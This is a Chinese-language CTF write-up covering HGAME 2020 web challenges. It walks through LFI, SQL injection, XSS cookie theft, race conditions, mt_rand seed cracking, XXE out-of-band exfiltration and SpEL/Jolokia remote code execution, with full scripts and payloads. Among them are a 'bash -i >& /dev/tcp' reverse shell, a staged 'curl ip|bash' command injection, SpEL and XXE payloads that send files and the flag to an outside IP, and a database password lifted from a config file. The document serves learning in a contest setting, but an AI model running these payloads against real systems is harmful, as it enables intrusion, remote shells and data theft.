hgame2020 web 复现

春节前的周赛,测一下自己这一年学得如何

Week1

Cosmos 的博客

这题真是找傻我了,一开始还想着.git泄露,试了没有。看加粗猜是在github上有源码
一开始在仓库和用户名里找一直没找到,最后突然看到有个code

进去看commit里就能看到flag

接 头 霸 王

日 常 迫 害
既然是换头,那就改头部。按要求改Referer,X-Forwarded-For,User-Agent,比较坑的是最后的资源更新时间,用If-Unmodified-Since,查了好久

Code World

这题意义不明?
看console可以发现是从index.php跳转过来的

直接访问会跳转,于是尝试抓包改成POST访问就可以,提示要加法运算得到10
由于url中+会被解析为空格,于是要用%2B

鸡尼泰玫

你们这样是要收律师函的!
需要30000分,直接抓包修改得到flag

讲道理明明题目要求时间同步,而且还跟着这后面这串hash居然直接改就完事了???

Week2

Cosmos的博客后台

进去猜测action是可以读取任意文件,于是
?action=php://filter/convert.base64-encode/resource=index.php
?action=php://filter/convert.base64-encode/resource=login.php
?action=php://filter/convert.base64-encode/resource=admin.php
拿下三个源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
session_start();

if(isset($_SESSION['username'])) {
header("Location: admin.php");
exit();
}

$action = @$_GET['action'];
$filter = "/config|etc|flag/i";

if (isset($_GET['action']) && !empty($_GET['action'])) {
if(preg_match($filter, $_GET['action'])) {
echo "Hacker get out!";
exit();
}
include $action;
}
elseif(!isset($_GET['action']) || empty($_GET['action'])) {
header("Location: ?action=login.php");
exit();
}

index.php中禁止了读取config.php、etc目录、flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
include "config.php";
session_start();

//Only for debug
if (DEBUG_MODE){
if(isset($_GET['debug'])) {
$debug = $_GET['debug'];
if (!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $debug)) {
die("args error!");
}
eval("var_dump($$debug);");
}
}

if(isset($_SESSION['username'])) {
header("Location: admin.php");
exit();
}
else {
if (isset($_POST['username']) && isset($_POST['password'])) {
if ($admin_password == md5($_POST['password']) && $_POST['username'] === $admin_username){
$_SESSION['username'] = $_POST['username'];
header("Location: admin.php");
exit();
}
else {
echo "....";
}
}
}
?>

login.php中可以看到通过debug可以获得变量的值
而登录需要比较admin_passwordadmin_username,于是拿一下
?action=login.php&debug=admin_password
?action=login.php&debug=admin_username

得到Cosmos!和0e114902927253523756713132279690
这里利用php会将0exx视为0的xx次方,于是找md5后是0e开头的字符串s878926199a

登录进入看admin.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
include "config.php";
session_start();
if(!isset($_SESSION['username'])) {
header('Location: index.php');
exit();
}

function insert_img() {
if (isset($_POST['img_url'])) {
$img_url = @$_POST['img_url'];
$url_array = parse_url($img_url);
if (@$url_array['host'] !== "localhost" && $url_array['host'] !== "timgsa.baidu.com") {
return false;
}
$c = curl_init();
curl_setopt($c, CURLOPT_URL, $img_url);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($c);
curl_close($c);
$avatar = base64_encode($res);

if(filter_var($img_url, FILTER_VALIDATE_URL)) {
return $avatar;
}
}
else {
return base64_encode(file_get_contents("static/logo.png"));
}
}
?>

可以看到限制了host只能为localhosttimgsa.baidu.com。本来还想绕一下,不过想着居然能localhost而且不限制目录穿越,于是直接file读flag
file://localhost/../../../../flag

再去看html源码

解码即是

Cosmos的留言板-1

sql注入题,有回显,可以用这样的方式测试是否被过滤
?id=3'%23union select%23

测出空格被过滤,用/**/替代
select可以双写绕过

payload:

1
2
3
4
5
6
7
?id='union/**/selselectect/**/database()%23
Easysql
?id='union/**/selselectect/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23
f1aggggggggggggg,messages
?id='union/**/selselectect/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='f1aggggggggggggg'%23
fl4444444g
?id='union/**/selselectect/**/group_concat(fl4444444g)/**/from/**/f1aggggggggggggg%23

得到flag

Cosmos的新语言

1
2
3
4
5
6
7
 <?php
highlight_file(__FILE__);
$code = file_get_contents('mycode');
eval($code);


CayVJmICHxAhI0uBoxyIDwASIHV0I1IQn3yhGKMTF1g4EwAoZ01YDzgKoxV=

进入看起来是要解密这段东西,既然提示了mycode就去访问一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function encrypt($str){
$result = '';
for($i = 0; $i &lt; strlen($str); $i++){
$result .= chr(ord($str[$i]) + 1);
}
return $result;
}

echo(str_rot13(strrev(base64_encode(str_rot13(base64_encode(base64_encode(encrypt(encrypt(str_rot13(base64_encode($_SERVER['token'])))))))))));

if(@$_POST['token'] === $_SERVER['token']){
echo($_SERVER['flag']);
}

发现给了加密源码,但尝试解密后并解不出来。回去看看发现给的字符串是动态变化的,一开始还以为token值是改变的,但再去访问一次mycode发现加密方式也变了,看起来是要写脚本拿,于是上一波python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# -*- coding:utf8 -*- 
import requests
import re
import base64

def decrypt(cipher):
res = ''
for i in range(len(cipher)):
res += chr(ord(cipher[i])-1)
return res

token_url = "http://a52052a8db.php.hgame.n3ko.co/"
code_url = "http://a52052a8db.php.hgame.n3ko.co/mycode"
token_http = requests.get(token_url)
code_http = requests.get(code_url)
token = re.findall(r"</code><br>\n(.*)<br>",token_http.text)[0]
code = re.findall(r"echo\((.*)\);",code_http.text)[0]
func = re.findall("([a-zA-Z0-9_]*)\(",code)

for i in func:
if i == "str_rot13":
token = token.encode("rot13")
elif i == "strrev":
token = token[::-1]
elif i == "base64_encode":
token = base64.b64decode(token)
else:
token = decrypt(token)

data = {
'token':token
}
flag = requests.post(token_url,data)
print flag.text

跑一波拿到flag

Cosmos的聊天室

这题一开始以为把<+字母给过滤了,后来检查了一下发现只是并到了标签中导致没有显示

不过<.*>script、iframe是确实被过滤了

于是用svg,但是字母都会被转为大写,于是用html实体编码
document.location='http://ip/?'+document.cookie进行html实体编码后放入onload中,然后<svg onload="xxx"发送并提交

在xss平台就能拿到cookie

从flag is here进去可以看到需要admin的token,于是换一下token访问就能拿到flag

Week3

序列之争 - Ordinal Scale

这题做的觉得自己有些智障
直接看页面源码可以看到有源码source.zip,拿下来读一波,基本都是cardinal.php在处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function Fight($monster){
if($monster['no'] >= $this->rank){
$this->rank -= rand(5, 15);
if($this->rank <= 2){
$this->rank = 2;
}

$_SESSION['exp'] += rand(20, 200);
return array(
'result' => true,
'msg' => '<span style="color:green;">Congratulations! You win! </span>'
);
}else{
return array(
'result' => false,
'msg' => '<span style="color:red;">You die!</span>'
);
}
}

一开始看到这里还以为要写脚本去爆破,直到有一次正好减到1,不过写完脚本一跑发现自己看漏了一堆验证

1
2
3
4
5
6
private function init($data){
foreach($data as $key => $value){
$this->welcomeMsg = sprintf($this->welcomeMsg, $value);
$this->sign .= md5($this->sign . $value);
}
}
1
2
3
4
private function Save(){
$sign = md5(serialize($this->monsterData) . $this->encryptKey);
setcookie('monster', base64_encode(serialize($this->monsterData) . $sign));
}

Game类和Monster类生成sign的过程中进行了多次的md5加密,想要哈希扩展是不可能了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function __destruct(){
// 确保程序是跑在服务器上的!
$this->serverKey = $_SERVER['key'];
if($this->key === $this->serverKey){
$_SESSION['rank'] = $this->rank;
}else{
// 非正常访问
session_start();
session_destroy();
setcookie('monster', '');
header('Location: index.php');
exit;
}
}

然后再读一波,发现rank中__destruct()是可以直接修改rank的值的?!这里要验证key和serverKey,引用一下就能绕过。估计这是道反序列化题

然后找找能够反序列化的地方

1
2
3
4
5
6
$monsterData = base64_decode($_COOKIE['monster']);
if(strlen($monsterData) > 32){
$sign = substr($monsterData, -32);
$monsterData = substr($monsterData, 0, strlen($monsterData) - 32);
if(md5($monsterData . $this->encryptKey) === $sign){
$this->monsterData = unserialize($monsterData);

发现Monster类中__construct()使用了反序列化,不过这样问题又回到了一开始。这个加密要怎么搞

又看了一圈源码发现

1
2
3
4
foreach($data as $key => $value){
$this->welcomeMsg = sprintf($this->welcomeMsg, $value);
$this->sign .= md5($this->sign . $value);
}

public $welcomeMsg = '%s, Welcome to Ordinal Scale!';

这个循环中用了sprintf()将data中的值赋给了$welcomeMsg

$data = [$playerName, $this->encryptKey];

而data中有encryptKey,那只要我们将可控的playerName设为%s就能输出encryptKey了

于是操作一波获得key

然后反序列化一波

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

class Rank{
private $rank;
private $serverKey;
private $key;

function __construct(){
$this->rank = 1;
$this->key = &$this->serverKey;
}
}

$rank = new Rank();
$s = serialize($rank);

$sign = '';
$data = ['k0t0r1', 'gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL'];
foreach($data as $key => $value){
$sign .= md5($sign . $value);
}
echo base64_encode($s.md5($s.$sign));

不考虑通关送个亚斯娜?x

二发入魂!

这题脑洞太大
一开始进去渗透了几圈没找到什么,看源码提示了一个php5

应该是和php5有关的漏洞

然后尝试了一下功能,发现上限是777个,于是尝试全部加起来发送,依旧不行
后面去查了一下cdkey的生成,发现什么椭圆算法啥的,感觉也不太像

懵逼了很久后,没事连续生成了几下,发现短时间内点击生成的数字相同,于是用脚本检验一下生成不同个数时是不是还是一样,发现依旧一样。联系php5和随机数,就想到了mt_rand()这个函数。之前也写过,mt_rand()在php5和php7是有些不太一样的。于是猜cdkey是随机数的种子,但两秒就要是不是有点快了???在我沉思的时候出题人放了一张妙蛙种子的图上去,基本确定了就是爆种子了

于是上一波脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# -*- coding:utf8 -*- 
import requests
import subprocess
import os
import re
import time

cookies = {'PHPSESSID':'obbqlucblk6raskk3jkapojgr0'}
for i in range(1000):
url = "https://twoshot.hgame.n3ko.co/random.php?times=1"
c = requests.get(url,cookies=cookies,verify=False)
cdkey = c.text[1:-1]
print cdkey

php_mt_seed = subprocess.Popen("exec ./php_mt_seed "+cdkey,shell = True,stdout = subprocess.PIPE)
seed = None
while True:
out = php_mt_seed.stdout.readline()
if out == '' and php_mt_seed.poll() != None:
break
if out != '':
print out
match = re.search("seed\ =\ [0-9a-z]{1,11}\ =\ ([0-9]{1,11})",out)
if match:
seed = match.group(1)
php_mt_seed.kill()
break
print seed

url = "https://twoshot.hgame.n3ko.co/verify.php"
data = {'ans':seed}
headers = {'Content-Type':'application/x-www-form-urlencoded'}
c = requests.post(url,headers=headers,cookies=cookies,data=data,verify=False)
if "wrong answer or too slow" not in c.text:
print c.text
print c.text
break
print c.text
time.sleep(1)

这里为了达到2s的要求,修改了一下php_mt_seed

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static uint64_t crack(const match_t *match)
{
uint64_t found = 0, recent = 0;
uint32_t base, top;
#if defined(__MIC__) || defined(__AVX512F__)
const uint32_t step = 0x10000000 >> P;
#else
const uint32_t step = 0x2000000 >> P;
#endif
version_t flavor;
long clk_tck;
clock_t start_time;
struct tms tms;

flavor = PHP_521;
do {
unsigned int shift = (flavor == PHP_521);

crack函数中将flavor的值设为PHP_521,让程序不跑php5.2以下版本的种子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
for (base = 0; base < top; base += step) {
uint32_t start = base << (P + shift);
uint32_t next = (base + step) << (P + shift);
clock_t running_time = times(&tms) - start_time;
fprintf(stderr,
"\rFound %llu, trying 0x%08x - 0x%08x, "
"speed %.1f Mseeds/s ",
(unsigned long long)found, start, next - 1,
(double)start * clk_tck /
(running_time ? running_time * 1e6 : 1e6));
if ( (unsigned long long)found > 0)
break;
recent = crack_range(base, base + step, match, flavor);
found += recent;
}

同样在crack函数中,写了一个if让跑出一个数就直接中止

然后找了一台服务器,开虚拟机12核跑,一分钟内就爆到了【一开始写脚本的时候忘带了cookie,整了一天血亏

后面根据群里大佬的提示,找到了应该是这题的预期解
Breaking PHP’s mt_rand() with 2 values and no bruteforce
抱歉12核真的可以为所欲为,直接代替算法,晚点补补这个算法

Cosmos的二手市场

这题进去测了好久,找源码泄漏,扫目录什么的都试了一下没有什么收获
抓包返回json觉得有可能有XXE然而并不行,想着注入也被正则限制死了,感觉就只有利用这个购买与出售

没啥思路去问了一下做出的师傅,师傅说是条件竞争,条件竞争就是利用服务器处理不来高并发,再未响应前多次实现一个请求
到这题就是不停购买/出售,让服务器以为我们还有钱/物品,达到“赚钱”的目的

于是上burpsuit,intruder下设置null payload,开30线程跑

这里主要要先跑solve后跑buy,并在solve结束前结束buy。其它线程数,爆破数可以自行调整。钱越多后可以买更多加快涨钱的速度

跑完回去卖到1亿拿flag

Cosmos的留言板-2

这题登进去后本来以为是insert注入,但发现都被转义了无法注
于是尝试了一下其它几个点,发现delete处可以进行报错盲注。错误时删除失败,成功时删除成功。由于二分要增删多次很麻烦于是直接一波跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# -*- coding:utf8 -*-  
import requests
import re
import time

s_url = r'http://139.199.182.61:19999/index.php?method=send'
d_url = r'http://139.199.182.61:19999/index.php?method=delete&delete_id='

did = 297 #先发布一个再修改这里后跑
cookie = {'PHPSESSID':'ehk1o93am9ihj6bot8d1u31jcd'}
data = {'message':'sadas'}

for i in range(1,100):
# payload = " or (select(length(database())>"+str(i)+"))*999*pow(999,102)"
# payload = " or (select((select length(group_concat(table_name)) from information_schema.tables where table_schema=database())>"+str(i)+"))*999*pow(999,102)"
# payload = " or (select((select length(group_concat(column_name)) from information_schema.columns where table_name='user')>"+str(i)+"))*999*pow(999,102)"
# payload = " or (select((select length(name) from user limit 1)>"+str(i)+"))*999*pow(999,102)"
payload = " or (select((select length(password) from user limit 1)>"+str(i)+"))*999*pow(999,102)"
print payload
http = requests.get(d_url+str(did)+payload,cookies=cookie)
if "delete_id="+str(did) not in http.text:
print i
break

l = i

res = ''
for i in range(l):
time.sleep(1)
requests.post(s_url,data=data,cookies=cookie)
did = did + 1
for j in range(33,128):
# payload = " or (select((ascii(substr(database(),"+str(i+1)+",1))>"+str(j)+")))*999*pow(999,102)"
# payload = " or (select(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(i+1)+",1))>"+str(j)+"))*999*pow(999,102)"
# payload = " or (select(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='user'),"+str(i+1)+",1))>"+str(j)+"))*999*pow(999,102)"
# payload = " or (select(ascii(substr((select name from user limit 1),"+str(i+1)+",1))>"+str(j)+"))*999*pow(999,102)"
payload = " or (select(ascii(substr((select password from user limit 1),"+str(i+1)+",1))>"+str(j)+"))*999*pow(999,102)"
print payload
http = requests.get(d_url+str(did)+payload,cookies=cookie)
if "delete_id="+str(did) not in http.text:
res = res + chr(j)
print res
break

# babysql
# !essages,user
# id,name,password
# cosmos
# f1FXOCnj26Fkadzt4Sqynf6O7CgR

这里判断成功失败由于是中文有点难处理,就直接看留言是否被删来判断,用pow()来跑报错

然后登录进去得到flag

Cosmos的聊天室2.0

这题一看题目描述限制策略就觉得应该有CSP
于是进去抓个包,果然有CSP限制

default-src 'self'; script-src 'self'限制了只能读取该域名下的文件,内联之类的都不允许

而这题有提示了bot访问localhost下的文件,猜测需要利用到站里的其它页面。试了几下后发现,send页面message传参后直接返回,也就是这里能利用来进行反射型XSS,由于scrtipt还是被过滤了,于是用svg

于是构造一波跳转
<iframe src="http://c-chat-v2.hgame.babelfish.ink/send?message=<svg onload=document.location='http://ip/?'+document.cookie>"></iframe>
发现依旧被限制,于是改用发送请求

尝试一下
http://c-chat-v2.hgame.babelfish.ink/send?message=<svg onload="t=new XMLHttpRequest;t.open('GET', 'http://ip/?'%2bdocument.cookie,!0),t.send('flag');">
发现这样传过去XMLHttpRequest会被解析为小写导致无法得到XMLHttpRequest类

于是用html实体编码,又由于url上带html实体编码有问题,于是再url编码一下。这次能够通过但得到的字符串字符数大于1000,于是减少一点编码的字符

1
<iframe src="http://c-chat-v2.hgame.babelfish.ink/send?message=<svg onload=%26%23%78%37%37%3b%26%23%78%36%39%3b%26%23%78%36%65%3b%26%23%78%36%34%3b%26%23%78%36%66%3b%26%23%78%37%37%3b%26%23%78%32%65%3b%26%23%78%37%34%3b%26%23%78%33%64%3b%26%23%78%36%65%3b%26%23%78%36%35%3b%26%23%78%37%37%3b%26%23%78%32%30%3b%26%23%78%35%38%3b%26%23%78%34%64%3b%26%23%78%34%63%3b%26%23%78%34%38%3b%26%23%78%37%34%3b%26%23%78%37%34%3b%26%23%78%37%30%3b%26%23%78%35%32%3b%26%23%78%36%35%3b%26%23%78%37%31%3b%26%23%78%37%35%3b%26%23%78%36%35%3b%26%23%78%37%33%3b%26%23%78%37%34%3b;window.t.open(`GET`,`http://ip/?`%2bdocument.cookie,!0),window.t.send(`flag`);>">

到这里已经可以将token弹回来了

然后发给bot,什么都没弹回来,人傻了

搞了很久找不出问题于是换个方法做,查了一下发现meta这个东西真的好用。直接跳到send页面,逃出限制后就可以接着跳转到自己的ip下了
于是构造一波
<meta http-equiv="refresh" content="1;url=http://c-chat-v2.hgame.babelfish.ink/send?message=<svg onload=%22document.location='http://ip/?'%2bdocument.cookie%22>">
测试一下成功打回自己的cookie,然后试了一下发现bot打得回来但没有cookie???

这题不是打cookie吗?于是尝试去直接打/flag的源码也没打成,一脸懵逼。于是去找了出题人,出题人整了一下才发现bot有点问题,localhost访问过去不带cookie,说直接/send访问就好,于是改一下

<meta http-equiv="refresh" content="1;url=/send?message=<svg onload=%22document.location='http://ip/?'%2bdocument.cookie%22>">

拿到token,修改访问得到flag

不过讲道理我打/flag也没有带localhost,为啥打不到?

Week4

代打出题人服务中心

让出题人代打代打出题人服务中心的出题人【禁止套娃

抓个包发现是xml,应该要XXE

不过读文件无回显,于是外带一波
在服务器上准备好test.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/recource=submit.php">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://119.23.206.8:9999?p=%file;'>">

然后将payload插在头部发送

1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://119.23.206.8/test.dtd">
%remote;%int;%send;
]>

成功弹回源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
include "config.php";
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
$stmt = $conn->prepare("INSERT INTO info (id, chal_name, bd_level, bd_time) VALUES (:id, :chal_name, :bd_level, :bd_time)");
$stmt->bindParam(':id', $id);
$stmt->bindParam(':chal_name', $chal_name);
$stmt->bindParam(':bd_level', $level);
$stmt->bindParam(':bd_time', $level);

$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$id = $creds->id;
$chal_name = $creds->name;
$level = $creds->level;
$time = $creds->time;
if ($id == "" || $level == "" || $chal_name == ""|| $time == "") {
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,"请填写信息!");
die($result);
}
$stmt->execute();
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,"已提交成功,正在为您安排打手");
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,"提交失败!");
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

引入了config.php,而传入的参数是插入了数据库里的
再拿下config.php看看

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$dbms='mysql';
$host='localhost';
$dbName='bdctr_message';
$user='root';
$pass='yevi1gcqpqHSaOZVDI1CcRLaHHSJ5BYgImof';

$dsn="$dbms:host=$host;dbname=$dbName";
$conn = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true));
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

?>

给了账号密码,用了PDO,可能是pdo注入?不过看submit.php中对pdo并没有什么误操作,感觉不是打pdo
但尝试直接去拿数据库的数据文件却权限不足,就很懵逼

比赛结束后去问师傅才知道这题是内网渗透的题,看/etc/hosts可以看到内网还有其它服务器,方向完全错了Orz

于是拿一下/etc/hosts

1
2
3
4
5
6
7
8
127.0.0.1	localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.21.0.76 hgame-private
172.21.0.31 f9f1b9b99e13

内网中有一台hgame-private,于是去访问一下

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://172.21.0.76/index.php">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://119.23.206.8:9999?p=%file;'>">

于是带上token去访问,不过因为结果太长返回不了,需要压缩一下

1
2
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=http://172.21.0.76/?token=JIPTBZWRgk0IOWcVgniw40Orm0bStIOq">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://119.23.206.8:9999?p=%file;'>">

解压echo file_get_contents("php://filter/read=convert.base64-decode/zlib.inflate/resource=");得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);

$token = @$_GET['token'];
if (!isset($token)) {
die("请带上您的队伍token访问! /?token=");
}
$api = "http://checker/?token=".$token;
$t = file_get_contents($api);
if($t !== "ok") {
die("队伍token错误");
}

highlight_file(__FILE__);

$sandbox = '/var/www/html/sandbox/'. md5("hgame2020" . $token);;
@mkdir($sandbox);
@chdir($sandbox);

$content = $_GET['v'];
if (isset($content)) {
$cmd = substr($content,0,5);
system($cmd);
}else if (isset($_GET['r'])) {
system('rm -rf ./*');
}

/* _____ _ _ ______ _ _ _____ ______ _______ _____ _______ _
/ ____| | | | ____| | | | / ____| ____|__ __| |_ _|__ __| | |
| (___ | |__| | |__ | | | | | | __| |__ | | | | | | | |
\___ \| __ | __| | | | | | | |_ | __| | | | | | | | |
____) | | | | |____| |____| |____ | |__| | |____ | | _| |_ | | |_|
|_____/|_| |_|______|______|______( )_____|______| |_| |_____| |_| (_)
|/

*/

嗯,是唯一做过的那道hitcon的题【稳得一批x
于是拿那题脚本改一下,一开始忘在服务器上放布置语句bash -i >& /dev/tcp/ip/port 0>&1
直接弹回到监听端口上什么都没有真的傻了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# -*- coding: utf-8 -*- 
import requests
import urllib

payload = [

#ls -t>g
'>ls\\\\',
'ls>_',
'>\\ \\\\',
'>-t\\\\',
'>\\>g',
'ls>>_',

#curl ip:prot|bash
'>sh',
'>ba\\\\',
'>\\|\\\\',
'>x\\\\',
'>xx\\\\',
'>:x\\\\',
'>x\\\\',
'>x.\\\\',
'>xx\\\\',
'>x.\\\\',
'>x\\\\',
'>x.\\\\',
'>xx\\\\',
'>\\ \\\\',
'>rl\\\\',
'>cu\\\\',

#执行命令
'sh _',
'sh g'
]

url = "http://bdctr.hgame.day-day.work/submit.php"
headers = {"Content-Type": "application/xml;charset=utf-8"}

r_data = '''<!DOCTYPE xml[
<!ENTITY int SYSTEM "php://filter/convert.base64-encode/resource=http://172.21.0.76/?token=JIPTBZWRgk0IOWcVgniw40Orm0bStIOq&r=1">
]>
<msg><id>x</id><name>d</name><level>d</level><time>&int;</time></msg>'''
http = requests.post(url,data=r_data,headers=headers)
print http.text

data = '''<!DOCTYPE xml[
<!ENTITY int SYSTEM "php://filter/convert.base64-encode/resource=http://172.21.0.76/?token=JIPTBZWRgk0IOWcVgniw40Orm0bStIOq&v={0}">
]>
<msg><id>x</id><name>d</name><level>d</level><time>&int;</time></msg>'''
for i in payload:
new_data = data.format(urllib.quote(i))
http = requests.post(url,data=new_data,headers=headers)
print http.text

这里还有要注意的是,端口和ip生成的文件名不要冲突,一开始跑时冲突了没有弹回shell,测试了才发现因为冲突了导致没有生成文件

弹回shell后在/etc/f1agg拿到flag

ezJava

Java题…8会做,到现在都没去整过spring框架,只能看看wp学学了,大多都是个人见解,有什么错误请各位大佬们指出

首先题目提示了3个点,spel注入 jolokia .yml

关于spel表达式基础看这个
SpEL表达式注入漏洞
关于spel注入则可以看看这个
SPEL表达式注入-入门篇
和python的模板注入很像

wp中说到的那几个目录,通过查文档都可以找到(不过也得熟悉这个框架呀Orz)
在spring boot2.0的文档中可以看到
production-ready-features production-ready-endpoints
要远程去访问Actuator,在2.0之后默认是通过/actuator
而当Actuator配置不当时,就可以通过这个目录读取到许多信息,具体可以看这篇文章
Springboot之actuator配置不当的漏洞利用
/jolokia/list在jolokia文档有写,可用于查看可用的MBean
6.2.5. Listing MBeans (list)
Github上也有关于这个目录安全性的报告
/actuator/jolokia/list not secured when using EndpointRequest.toAnyEndpoint()

既然是spel注入,那就在/actuator/jolokia/list中查找spel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
"com.jqy.ezspel":
{
"Name=EncryptService":
{
"op":
{
"encrypt":
{
"args":
[
{"name":"key","type":"java.lang.String","desc":"key"},
{"name":"initVector","type":"java.lang.String","desc":"initVector"},
{"name":"value","type":"java.lang.String","desc":"value"}
],
"ret":"java.lang.String","desc":"encrypt rememberMe"
},
"decrypt":
{
"args":
[
{"name":"key","type":"java.lang.String","desc":"key"},
{"name":"initVector","type":"java.lang.String","desc":"initVector"},
{"name":"encrypted","type":"java.lang.String","desc":"encrypted"}
],
"ret":"java.lang.String","desc":"decrypt rememberMe"
}
},
"class":"com.jqy.ezspel.service.EncryptService",
"desc":"hack_rememberMe"
}
}

可以看到最后的desc提示了hack_rememberMe,那rememberMe就是注入点。可能需要用加密命令后的发送过去解密执行
这里无论加解密都需要keyinitVector,根据描述提示估计在application.yml里,于是去env中找application.yml的配置

/actuator/env可以找到加密的keyinitVector

分别是hgamehgamehgame{spppelandjookiaa

这里就要利用jolokia的JNDI注入漏洞
Exploiting Jolokia Agent with Java EE Servers

1
2
3
4
5
6
{
"type": "EXEC",
"mbean": "Catalina:type=Service",
"operation": "stop",
"arguments": []
}

可以通过这样的形式向/actuator/jolokia发送调用MBean,于是对应修改一下

1
2
3
4
5
6
{
"type": "EXEC",
"mbean": "com.jqy.ezspel:Name=EncryptService",
"operation": "encrypt",
"arguments": ["hgamehgamehgame{","spppelandjookiaa","#{T(ClassLoader).getSystemClassLoader().loadClass(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(ClassLoader).getSystemClassLoader().loadClass(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(null),new String[]{\"/bin/bash\",\"-c\",\"curl 119.23.206.8:9998/?flag=`cat flag`\"})}"]
}

不过env中还可以看到有黑名单,需要绕过

wp上的payload利用的反射机制+字符串拼接绕过了黑名单(修改短了一点)

1
#{T(ClassLoader).getSystemClassLoader().loadClass(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(ClassLoader).getSystemClassLoader().loadClass(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(null),new String[]{\"/bin/bash\",\"-c\",\"curl ip:port/?flag=`cat flag`\"})}

然后POST给/actuator/jolokia

然后把返回的value放到rememberMe里发给服务器等弹回就好
不过这里就是这题最坑的地方了,尝试了在/login下直接POST rememberMe,放到cookie中发送rememberMe都不行。最后找了做出的师傅,师傅把源码发给了我才知道,把rememberMe放到cookie里发送给/才可以(这里官方没公开就不放源码了)

于是放入发送

flag弹回

sekiro

这题给了源码

1
2
3
var express = require('express');
var router = express.Router();
var game = require('../utils/index');

/routes/index.js,引入了express框架,既然是node.js的题,八成就是原型链污染了

往下可以看到merge()clone(),造成原型链污染的地方就是这里

1
2
3
4
5
6
7
8
9
10
11
12
13
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}

在javascript中,所有的类都派生于Object类

这里先赋给参数a一个空对象,__proto__在js中用于获得父对象。可以看到,a的父对象就是Object,而再往上去获得就只剩null了,因为Object没有父对象

展开Object类中的内容看一下,可以看到,基本上都是类中原生的方法。我们也知道,如果不在类中重写,那么这些原生方法的效果是一样的。
这里就可以想想,如果我们给Object类添加一个属性或者方法,那会怎么样呢?

首先通过a的原型链给Object赋一个属性a,再去获得一下Object可以看到,属性a已经被写了进去

这是去获取a对象的a属性,由于a中未设置,就尝试去获取父对象Object中的a属性。Object中设置了,就将其值输出了出来

这里再去创建一个空对象赋给b,可以看到b的a属性的值也是1。可以看到,一但修改了Object类,所有派生类的都会遭到修改,原型链污染就是利用这个特性

回到merge()clone()这两个方法上,可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
